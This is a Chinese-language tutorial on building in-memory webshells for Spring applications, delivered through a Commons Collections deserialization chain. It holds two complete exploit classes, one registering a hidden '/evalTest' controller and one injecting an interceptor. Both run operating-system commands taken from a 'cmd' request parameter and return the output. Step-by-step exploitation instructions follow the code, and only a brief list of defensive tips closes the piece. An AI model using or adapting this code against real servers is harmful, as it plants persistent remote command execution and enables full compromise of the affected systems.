Spring内存马分析
字数 1743 2025-08-10 12:17:56
Spring内存马分析与实现
0x01 Spring框架概述
Spring框架是一个开源的轻量级Java应用框架,提供全面的编程和配置模型,用于构建现代、可扩展的Java应用程序。主要特性包括:
-
依赖注入(DI):
- 通过配置文件描述对象创建过程,由IOC容器自动组装对象
- 反转控制:由容器查找并注入依赖对象,而非程序主动获取
-
面向切面编程(AOP):
- 在类的方法执行前后插入自定义逻辑
- 类似于Tomcat的Filter过滤器
-
IOC容器:
- 控制对象(Bean)的创建和管理
- 传统方式:对象内部通过new创建
- IOC方式:容器负责创建和注入
0x02 Spring Boot环境搭建
- 新建项目,选择Spring模块
- 勾选Spring Web模块
- 选择2.x版本的Spring Boot
- 在pom.xml中添加Commons Collections(CC)依赖
- 设置根路由和反序列化路由
- 启动项目并访问根路由验证
0x03 内存马类型分析
1. Controller内存马
执行流程分析
- 请求处理入口:
DispatcherServlet类的doDispatch方法 - 通过request寻找对应的handler类
- 遍历Mappings,调用
getHandler函数 - 通过
mappingRegistry查找对应处理逻辑的方法 - 最终在
mappingRegistry中查找对应MappingInfo
关键点
mappingRegistry存储控制器方法- 需要动态注册Mapping到
mappingRegistry RequestMappingInfo类存储路由信息,特别是patternsCondition字段
构造思路
- 实例化控制器类作为handler
- 在控制器类构造恶意方法,反射获取Method类
- 构造
patternsCondition,添加恶意路由 - 实例化
RequestMappingInfo类,放入patternsCondition - 获取上下文,调用
registerMapping方法注册路由
获取上下文方法
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
完整EXP
package attackTest;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Method;
public class TestShell extends AbstractTranslet {
static {
WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping r = webApplicationContext.getBean(RequestMappingHandlerMapping.class);
Method ShellMethod = null;
Class<?> C = TestShell.class;
try {
ShellMethod = C.getMethod("shell");
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
PatternsRequestCondition url = new PatternsRequestCondition("/evalTest");
RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null);
TestShell testShell = new TestShell();
r.registerMapping(info, testShell, ShellMethod);
}
public void shell() {
HttpServletRequest httpServletRequest = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse httpServletResponse = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
String cmd = httpServletRequest.getParameter("cmd");
if (cmd != null) {
try {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
httpServletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
httpServletResponse.getOutputStream().flush();
httpServletResponse.getOutputStream().close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
利用测试
- 将EXP编译成class文件
- 运行CC11攻击链生成payload
- 访问attack路由注入payload
- 访问/evalTest路由执行命令
2. Interceptor内存马
拦截器特点
- 比Controller更早执行
- 可绕过某些安全防护
- 更通用,不受拦截器限制
拦截器创建方法
- 实现
HandlerInterceptor接口或继承HandlerInterceptorAdapter - 实现
WebRequestInterceptor接口
示例拦截器
package MyInterceptor;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class TestInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
System.out.println("preHandle.");
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
System.out.println("postHandle.");
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
System.out.println("afterCompletion.");
}
}
流程分析
DispatcherServlet类的doDispatch方法- 创建
mappedHandler时添加自定义拦截器 AbstractHandlerMapping类的HandlerExecutionChain方法- 遍历
adaptedInterceptors拦截器列表 - 调用拦截器的
preHandle方法
关键点
adaptedInterceptors是AbstractHandlerMapping的属性- 需要将恶意拦截器添加到
adaptedInterceptors列表
构造思路
- 创建恶意拦截器类
- 获取
AbstractHandlerMapping实例 - 通过反射获取
adaptedInterceptors字段 - 将恶意拦截器添加到列表中
完整EXP
package attackTest;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
public class MyInterceptorShell extends AbstractTranslet implements HandlerInterceptor {
static {
MyInterceptorShell myInterceptorShell = new MyInterceptorShell();
WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
AbstractHandlerMapping abstractHandlerMapping = webApplicationContext.getBean(AbstractHandlerMapping.class);
try {
Field adaptedInterceptorsField = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
adaptedInterceptorsField.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) adaptedInterceptorsField.get(abstractHandlerMapping);
adaptedInterceptors.add(myInterceptorShell);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuffer stringBuffer = new StringBuffer();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuffer.append(line + '\n');
}
response.getOutputStream().write(stringBuffer.toString().getBytes());
response.getOutputStream().flush();
response.getOutputStream().close();
}
return true;
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
利用测试
- 将EXP编译成class文件
- 生成base64编码的payload
- 访问attack路由注入payload
- 访问任意路由均可执行命令
总结
-
Controller内存马:
- 通过动态注册路由实现
- 需要构造
RequestMappingInfo和HandlerMethod - 访问特定路由触发
-
Interceptor内存马:
- 通过添加拦截器实现
- 修改
adaptedInterceptors列表 - 访问任意路由均可触发
-
防御建议:
- 监控动态注册的Controller和Interceptor
- 限制反序列化操作
- 定期检查内存中的异常Bean